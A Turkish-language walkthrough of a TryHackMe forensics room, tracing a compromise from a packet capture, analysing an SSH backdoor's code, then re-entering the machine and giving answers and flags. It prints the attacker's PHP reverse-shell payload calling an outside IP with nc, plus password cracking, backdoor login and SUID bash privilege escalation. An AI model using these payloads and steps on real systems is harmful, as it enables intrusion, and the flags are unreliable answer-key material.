TryHackme de denk geldiğim bu oda,hacklenen bir sistemi analiz etmemizi ve hangi yöntemle hacklendiğini bulmamızı sağlıyor. İlk olarak bize verilen pcap dosyasını indirmemiz gerek. İndirdikten sonra network trafiğini analiz etmeye başlayabiliriz.
Task 1 Forensics – Analyse the PCAP
Soru 1) What was the URL of the page they used to upload a reverse shell?
Reverse shell yüklemek için hangi sayfanın kullanıldığını bulmamız gerek. Wiresharkta incelediğimizde /development altında upload.php dosyasına POST işlemi olduğunu görüyoruz.
Cevap : /development/
Soru 2) What payload did the attacker use to gain access?
Saldırganın erişim sağlamak için hangi payload’ı kullandığını görmek için wiresharkta ilgili isteğin üstüne sağ tıklayıp Follow sekmesinden TCP Stream’ı seçiyoruz. Bu sayede yüklenen dosyanın içeriğini görebiliriz.
Saldırganın kullandığı payload bu şekilde ;
Cevap : <?php exec(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f”)?>
Soru 3) What password did the attacker use to privesc?
Saldırganın hak yükseltme aşamasında hangi parolayı kullanığını bulmak için wireshark da tcp paketlerini incelediğimde python ile interaktif shell’e geçip .overpass dosyasını okuduğunu ve daha sonra “su james” komutu ile james kullanıcısına geçmek için kullanığı parolayı görüyorum.
Cevap : whenevernoteartinstant
Soru 4) How did the attacker establish persistence?
Saldırganın sistemde nasıl kalıcılık sağladığını bulmak için yukarıda incelediğim paketin devamına bakıyorum. Kalıcılık sağlamak için ssh-backdoor kullanmış.
Cevap : https://github.com/NinjaJc01/ssh-backdoor
Soru 5) Using the fasttrack wordlist, how many of the system passwords were crackable?
Paketi incelerken ssh-backdoor kullanmadan önce / etc / shadow dosyasını okuduğunu görüyorum.
Kaç sistem parolasının kırılabileceğini görmek için soruda belirtildiği gibi fasttrack wordlistini kullanıyorum. Bu wordlist ile 4 hesabın parolasını ele geçirebildim.
Cevap : 4
Task 2 – Research – Analyse the code
Soru 1) What’s the default hash for the backdoor?
Backdoor’un kullandığı varsayılan hash’i bulmak için github dan inceliyorum.
https://github.com/NinjaJc01/ssh-backdoor/blob/master/main.go
Cevap : bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
Soru 2) What’s the hardcoded salt for the backdoor?
Backdoor’un kullandığı salt’ı bulmak için kaynak koduna bakmak yeterli.
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
Cevap : 1c362db832f3f864c8c2fe05f2002a05
Soru 3) What was the hash that the attacker used? – go back to the PCAP for this!
Saldırganın kullandığı hash bilgisi wireshark da incelediğimiz pakette mevcut.
Cevap : 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
Soru 4) Crack the hash using rockyou and a cracking tool of your choice. What’s the password?
Programın kaynak koduna baktığımda kullanılan parolanın salt’landığını görüyorum.
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
Dolayısıyla SHA512 hash’i kırmak için buna uygun bir formatta yazmam gerek.
Hash.txt içeriği;
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05
SHA512 Hash’i kırmak için hashcat kullanıyorum.
Cevap : november16
TASK 3 Attack – Get back in!
Bu aşamada yeterli bilgiye sahip olduğumuz için makineye doğrudan erişmemiz gerekecek.
Soru 1) The attacker defaced the website. What message did they leave as a heading?
Cevap : H4ck3d by CooctusClan
Soru 2)Using the information you’ve found previously, hack your way back in!
Makineye ssh ile bağlanmamız gerek. Nmap taramasında görüldüğü üzere 2 ssh portu açık. 2222.port backdoorumuz.
┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -sV 10.10.184.31
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 10:37 AKDT
Nmap scan report for 10.10.18.44
Host is up (0.083s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
2222/tcp open ssh OpenSSH 8.2p1 Debian 4 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Bu porttan bağlanmak için saldırganın kullanığı “november16” parolasını kullanacağız.
Soru 3) What’s the user flag?
Cevap : thm{d119b4fa8c497ddb0525f7ad200e6567}
Soru 4) What’s the root flag?
Root olma aşamasında suid bit ayarlı bash için -p parametresini kullanmak yeterli.
https://gtfobins.github.io/gtfobins/bash/#suid
Cevap : thm{d53b2684f169360bb9606c333873144d}